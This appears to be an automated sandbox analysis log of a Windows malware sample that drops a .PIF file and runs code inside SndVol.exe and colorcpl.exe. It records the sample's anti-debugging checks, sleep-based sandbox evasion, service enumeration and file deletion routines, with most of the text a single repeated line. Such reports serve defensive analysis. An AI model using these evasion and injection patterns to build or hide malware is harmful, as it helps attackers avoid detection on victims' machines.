Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Delayed program exit found

Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_2913F7E2 Sleep,ExitProcess,	8_2_2913F7E2
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_0040F7E2 Sleep,ExitProcess,	15_2_0040F7E2
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_077E04FF Sleep,ExitProcess,	15_2_077E04FF

Source: C:\Windows\SysWOW64\SndVol.exe	Code function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,	8_2_2914A7D9
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,	15_2_0041A7D9
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,	15_2_077EB4F6

Source: C:\Windows\SysWOW64\SndVol.exe	Window / User API: threadDelayed 1038			Jump to behavior
Source: C:\Windows\SysWOW64\SndVol.exe	Window / User API: threadDelayed 8953			Jump to behavior

Source: C:\Windows\SysWOW64\SndVol.exe	API coverage: 9.7 %
Source: C:\Windows\SysWOW64\colorcpl.exe	API coverage: 3.4 %

Source: C:\Windows\SysWOW64\SndVol.exe TID: 7768	Thread sleep time: -3114000s >= -30000s			Jump to behavior
Source: C:\Windows\SysWOW64\SndVol.exe TID: 7768	Thread sleep time: -26859000s >= -30000s			Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Code function: 0_2_02C55908 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,	0_2_02C55908
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_29138847 __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	8_2_29138847
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_29137877 FindFirstFileW,FindNextFileW,	8_2_29137877
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_2917E8F9 FindFirstFileExA,	8_2_2917E8F9
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_2913BB6B FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	8_2_2913BB6B
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_29149B86 FindFirstFileW,FindNextFileW,FindNextFileW,	8_2_29149B86
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_2913BD72 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	8_2_2913BD72
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_2914C322 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	8_2_2914C322
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_2913C388 FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	8_2_2913C388
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_2913928E __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	8_2_2913928E
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_291396A0 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	8_2_291396A0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_0040928E __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	15_2_0040928E
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_0041C322 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	15_2_0041C322
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_0040C388 FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	15_2_0040C388
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_004096A0 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	15_2_004096A0
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_00408847 __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	15_2_00408847
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_00407877 FindFirstFileW,FindNextFileW,	15_2_00407877
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_0044E8F9 FindFirstFileExA,	15_2_0044E8F9
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_0040BB6B FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	15_2_0040BB6B
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_00419B86 FindFirstFileW,FindNextFileW,FindNextFileW,	15_2_00419B86
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_0040BD72 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	15_2_0040BD72
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_0781F616 FindFirstFileExA,	15_2_0781F616
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_077D9564 __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,	15_2_077D9564
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_077D8594 FindFirstFileW,FindNextFileW,	15_2_077D8594
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_077DA3BD __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,	15_2_077DA3BD
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_077ED03F FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,	15_2_077ED03F
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_077DD0A5 FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,	15_2_077DD0A5
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_077D9FAB __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,	15_2_077D9FAB
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_077DCA8F FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,	15_2_077DCA8F
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_077EA8A3 FindFirstFileW,	15_2_077EA8A3
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_077DC888 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,	15_2_077DC888

Source: C:\Windows\SysWOW64\SndVol.exe

Code function: 8_2_29137CD2 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,

8_2_29137CD2

Source: SndVol.exe, 00000008.00000002.3861881906.00000000025DD000.00000004.00000020.00020000.00000000.sdmp, SndVol.exe, 00000008.00000003.1574996217.00000000025DD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll4
Source: jlPBMMQbXC.exe, 00000000.00000002.1575706420.000000000077E000.00000004.00000020.00020000.00000000.sdmp, jlPBMMQbXC.exe, 00000000.00000002.1575706420.00000000007CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Selebzih.PIF, 0000000A.00000002.1688459414.0000000000753000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllsj
Source: Selebzih.PIF, 0000000D.00000002.1793508839.000000000066A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	API call chain: ExitProcess graph end node	graph_0-38353
Source: C:\Windows\SysWOW64\SndVol.exe	API call chain: ExitProcess graph end node	graph_8-97824
Source: C:\Users\Public\Libraries\Selebzih.PIF	API call chain: ExitProcess graph end node

Source: C:\Users\user\Desktop\jlPBMMQbXC.exe

Process information queried: ProcessInformation

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Anti Debugging

Source: C:\Users\user\Desktop\jlPBMMQbXC.exe

Code function: 0_2_02C6F744 GetModuleHandleW,GetProcAddress,CheckRemoteDebuggerPresent,

0_2_02C6F744

Source: C:\Users\user\Desktop\jlPBMMQbXC.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process queried: DebugPort	Jump to behavior
Source: C:\Users\Public\Libraries\Selebzih.PIF	Process queried: DebugPort	Jump to behavior

Source: C:\Windows\SysWOW64\SndVol.exe

Code function: 8_2_2916BB71 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

8_2_2916BB71

Source: C:\Users\user\Desktop\jlPBMMQbXC.exe

Code function: 0_2_02C6894C LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_02C6894C

Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_04421120 mov eax, dword ptr fs:[00000030h]	8_2_04421120
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_04421120 mov eax, dword ptr fs:[00000030h]	8_2_04421120
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_04464072 mov eax, dword ptr fs:[00000030h]	8_2_04464072
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_29173355 mov eax, dword ptr fs:[00000030h]	8_2_29173355
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_00443355 mov eax, dword ptr fs:[00000030h]	15_2_00443355
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_077D1120 mov eax, dword ptr fs:[00000030h]	15_2_077D1120
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_077D1120 mov eax, dword ptr fs:[00000030h]	15_2_077D1120
Source: C:\Windows\SysWOW64\colorcpl.exe	Code function: 15_2_07814072 mov eax, dword ptr fs:[00000030h]	15_2_07814072

Source: C:\Windows\SysWOW64\SndVol.exe

Code function: 8_2_2917FBCD GetProcessHeap,

8_2_2917FBCD

Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_2916BB71 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_2916BB71
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_29164BD8 SetUnhandledExceptionFilter,	8_2_29164BD8
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_29164A8A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	8_2_29164A8A
Source: C:\Windows\SysWOW64\SndVol.exe	Code function: 8_2_2916503C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	8_2_2916503C
